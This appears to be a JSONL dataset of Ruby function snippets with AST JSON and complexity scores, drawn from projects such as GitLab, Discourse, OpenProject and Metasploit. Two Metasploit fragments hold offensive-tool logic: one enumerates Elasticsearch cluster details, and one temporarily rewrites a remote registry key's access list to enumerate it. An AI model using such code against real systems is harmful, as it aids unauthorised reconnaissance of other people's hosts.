incorrect\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_body\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to parse JSON\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"elastic_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Cluster Information\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Cluster Name\"]},{\"type\":\"str\",\"children\":[\"Status\"]},{\"type\":\"str\",\"children\":[\"Number of Nodes\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elastic_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cluster_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"number_of_nodes\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elastic_table\"]},\"to_s\"]}]}]}]}","id":"53af595c-8ebf-45f8-a928-8589f3ec68a6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_regions.rb","start_line":101,"raw_source":"def test_parent_region_lookup_returns_nil_if_does_not_exist_in_lookup\n    assert_nil(@subject.parent_region_lookup(:parent))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parent_region_lookup_returns_nil_if_does_not_exist_in_lookup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"parent_region_lookup\",{\"type\":\"sym\",\"children\":[\"parent\"]}]}]}]}","id":"ae912df7-083e-4f10-8a19-f980c16b7068"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/util.rb","start_line":161,"raw_source":"def trim_string_interpolation_escape_character(str)\n        str.gsub(/\\\\\\#\\{(.*?)\\}/) { \"\\#{#{Regexp.last_match(1)}}\" }\n      end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"trim_string_interpolation_escape_character\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\#\\\\{(.*?)\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]}]}","id":"243ea124-d86f-4876-b718-e3e9f98dc15a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":614,"raw_source":"def vendor_display\n    VENDOR_TYPES[vendor]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vendor_display\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VENDOR_TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"vendor\"]}]}]}","id":"7077371a-82df-465f-98bb-81e1bcb576a8"}
{"repo_name":"pundit","file_path":"./repos/pundit/spec/simple_cov_check_action_formatter.rb","start_line":9,"raw_source":"def covered_percent = source_file.covered_percent","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"covered_percent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_file\"]},\"covered_percent\"]}]}","id":"b04cece3-54a5-4636-a1a4-3da944ae94c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/windows_registry/remote_registry.rb","start_line":136,"raw_source":"def enum_key(key)\n      sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline\n      @winreg.enum_registry_key(key, bind: false).map do |key|\n        key.to_s.encode(::Encoding::ASCII_8BIT)\n      end\n    ensure\n      restore_dacl(key, sd_backup) if @inline && sd_backup\n    end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inline\"]},{\"type\":\"lvasgn\",\"children\":[\"sd_backup\",{\"type\":\"send\",\"children\":[null,\"change_dacl\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Secauthz\"]},\"WellKnownSids\"]},\"DOMAIN_ALIAS_SID_ADMINS\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@winreg\"]},\"enum_registry_key\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bind\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"encode\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Encoding\"]},\"ASCII_8BIT\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inline\"]},{\"type\":\"lvar\",\"children\":[\"sd_backup\"]}]},{\"type\":\"send\",\"children\":[null,\"restore_dacl\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"sd_backup\"]}]},null]}]}]}","id":"d497c320-1791-4732-a3c0-b948e80ea7b6"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/project_include_component.rb","start_line":42,"raw_source":"def toggle!\n      page.find(\"[data-test-selector='project-include-button']\").click\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector='project-include-button']\"]}]},\"click\"]}]}","id":"7de42ecd-85a0-4721-a9ac-3956338fa20f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":671,"raw_source":"def pop_each\n      Sidekiq.redis do |c|\n        size.times do\n          data, score = c.zpopmin(name, 1)&.first\n          break unless data\n          yield data, score\n        end\n      end\n    end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"pop_each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"score\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"zpopmin\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]}]}]}","id":"687ed06b-87dc-4a9e-8852-7f5286b07e8b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite.rb","start_line":74,"raw_source":"def email_xor_domain\n    errors.add(:base, I18n.t(\"invite.email_xor_domain\")) if email.present? && domain.present?\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"email_xor_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"invite.email_xor_domain\"]}]}]},null]}]}","id":"a3fc2fd7-9dc1-40f4-bf83-27deac663e90"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/ruby_lsp/rubocop/addon.rb","start_line":83,"raw_source":"def changed_config_file(changes)\n        RESTART_WATCHERS.find do |file_name|\n          changes.any? { |change| change[:uri].end_with?(file_name) }\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_config_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RESTART_WATCHERS\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uri\"]}]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]}","id":"d7e2d0c4-1785-443d-a1c0-07d54e365c15"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/features/support/components/cost_reports_base_table.rb","start_line":59,"raw_source":"def expect_value(value, row)\n      expect(page).to have_css(\"#{row_selector(row)} .units\", text: value)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"row_selector\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"str\",\"children\":[\" .units\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"88619103-0ab8-47d2-a82f-41d9ee57a805"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/base_template.rb","start_line":26,"raw_source":"def content\n        blob = @finder.read(@path)\n        [description, blob].compact.join(\"\\n\")\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blob\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@finder\"]},\"read\",{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]},{\"type\":\"lvar\",\"children\":[\"blob\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"e93726d7-d294-4583-b5a3-6f07b7713d5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/rails.rb","start_line":12,"raw_source":"def perform(job_data)\n        ::ActiveJob::Base.execute(job_data.merge(\"provider_job_id\" => jid))\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ActiveJob\"]},\"Base\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"provider_job_id\"]},{\"type\":\"send\",\"children\":[null,\"jid\"]}]}]}]}]}]}","id":"8a0002c6-36fb-42e8-b53f-b6ed477c314d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff_stats_collection.rb","start_line":17,"raw_source":"def find_by_path(path)\n        indexed_by_path[path]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indexed_by_path\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"fa4315a2-ecbf-47b5-941f-c857907749e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/metrics/patched_files_worker.rb","start_line":39,"raw_source":"def take_lines(string, lines)\n      string.each_line.reject do |line|\n        line.ends_with?(\"/structure.sql\\n\") ||\n          line.include?('/lib/ruby/gems/') ||\n          line.include?('/bin/')\n      end.first(lines).join\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"take_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"arg\",\"children\":[\"lines\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"each_line\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\"/structure.sql\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/lib/ruby/gems/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/bin/\"]}]}]}]},\"first\",{\"type\":\"lvar\",\"children\":[\"lines\"]}]},\"join\"]}]}","id":"d3502f34-018e-425c-80cb-cf5f4e32ab48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/temporarily_allow.rb","start_line":26,"raw_source":"def temporarily_allow_ivar\n      @temporarily_allow ||= Hash.new(0)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"temporarily_allow_ivar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@temporarily_allow\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"6a63f3ad-9523-4bcf-8c19-ee1262832f0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/serializers/build_entity.rb","start_line":92,"raw_source":"def pipeline_mrs_issue_keys\n          pipeline.all_merge_requests.flat_map do |mr|\n            src = \"#{mr.source_branch} #{mr.title} #{mr.description}\"\n            JiraIssueKeyExtractor.new(src).issue_keys\n          end\n        end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_mrs_issue_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"all_merge_requests\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"source_branch\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"description\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JiraIssueKeyExtractor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"src\"]}]},\"issue_keys\"]}]}]}]}","id":"6fb49e28-3940-4710-8d00-32fde0c2690e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":732,"raw_source":"def update_submodule(user:, submodule:, commit_sha:, message:, branch:)\n        args = {\n          user: user,\n          submodule: submodule,\n          commit_sha: commit_sha,\n          branch: branch,\n          message: message\n        }\n\n        wrapped_gitaly_errors do\n          gitaly_operation_client.user_update_submodule(**args)\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_submodule\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"submodule\"]},{\"type\":\"kwarg\",\"children\":[\"commit_sha\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"submodule\"]},{\"type\":\"lvar\",\"children\":[\"submodule\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_sha\"]},{\"type\":\"lvar\",\"children\":[\"commit_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_gitaly_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_operation_client\"]},\"user_update_submodule\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}]}","id":"929d02b1-3f87-43ba-8850-d3298380e403"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/api/errors_api.rb","start_line":203,"raw_source":"def list_events(project_id, fingerprint, opts = {})\n      data, _status_code, _headers = list_events_with_http_info(project_id, fingerprint, opts)\n      data\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"list_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"fingerprint\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"_status_code\"]},{\"type\":\"lvasgn\",\"children\":[\"_headers\"]}]},{\"type\":\"send\",\"children\":[null,\"list_events_with_http_info\",{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"fingerprint\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"c1bb5be6-80c6-4082-bc47-3bff92b75cc4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/repository_factory_service.rb","start_line":36,"raw_source":"def initialize(project, params)\n    @project = project\n    @params = params\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"7d404f31-1979-4783-a8a2-54fcda9051c2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/bcf/api/v2_1/comments/api.rb","start_line":34,"raw_source":"def all_comments\n            @issue.comments.includes(:journal, :issue, :viewpoint)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_comments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"comments\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"journal\"]},{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"sym\",\"children\":[\"viewpoint\"]}]}]}","id":"d11069d8-2871-479d-a13c-481336226f99"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting.rb","start_line":179,"raw_source":"def visible?(user = User.current)\n    user.allowed_in_project?(:view_meetings, project)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visible?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_meetings\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"05dc3ac3-1101-4603-a750-3c0243e61f1d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":183,"raw_source":"def test_array_options_for_select\n    assert_dom_equal(\n      \"<option value=\\\"&lt;Denmark&gt;\\\">&lt;Denmark&gt;</option>\\n<option value=\\\"USA\\\">USA</option>\\n<option value=\\\"Sweden\\\">Sweden</option>\",\n      options_for_select([ \"<Denmark>\", \"USA\", \"Sweden\" ])\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array_options_for_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<option value=\\\"&lt;Denmark&gt;\\\">&lt;Denmark&gt;</option>\\n<option value=\\\"USA\\\">USA</option>\\n<option value=\\\"Sweden\\\">Sweden</option>\"]},{\"type\":\"send\",\"children\":[null,\"options_for_select\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"<Denmark>\"]},{\"type\":\"str\",\"children\":[\"USA\"]},{\"type\":\"str\",\"children\":[\"Sweden\"]}]}]}]}]}","id":"c959f92d-e9e4-45f5-b757-f49350e9a4c1"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/range_lookup.rb","start_line":5,"raw_source":"def self.parse(start_markup, end_markup, string_scanner, cache = nil)\n      start_obj = Expression.parse(start_markup, string_scanner, cache)\n      end_obj   = Expression.parse(end_markup, string_scanner, cache)\n      if start_obj.respond_to?(:evaluate) || end_obj.respond_to?(:evaluate)\n        new(start_obj, end_obj)\n      else\n        begin\n          start_obj.to_i..end_obj.to_i\n        rescue NoMethodError\n          invalid_expr = start_markup unless start_obj.respond_to?(:to_i)\n          invalid_expr ||= end_markup unless end_obj.respond_to?(:to_i)\n          if invalid_expr\n            raise Liquid::SyntaxError, \"Invalid expression type '#{invalid_expr}' in range expression\"\n          end\n\n          raise\n        end\n      end\n    end","complexity_score":24.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_markup\"]},{\"type\":\"arg\",\"children\":[\"end_markup\"]},{\"type\":\"arg\",\"children\":[\"string_scanner\"]},{\"type\":\"optarg\",\"children\":[\"cache\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Expression\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"start_markup\"]},{\"type\":\"lvar\",\"children\":[\"string_scanner\"]},{\"type\":\"lvar\",\"children\":[\"cache\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Expression\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"end_markup\"]},{\"type\":\"lvar\",\"children\":[\"string_scanner\"]},{\"type\":\"lvar\",\"children\":[\"cache\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"evaluate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"evaluate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"start_obj\"]},{\"type\":\"lvar\",\"children\":[\"end_obj\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"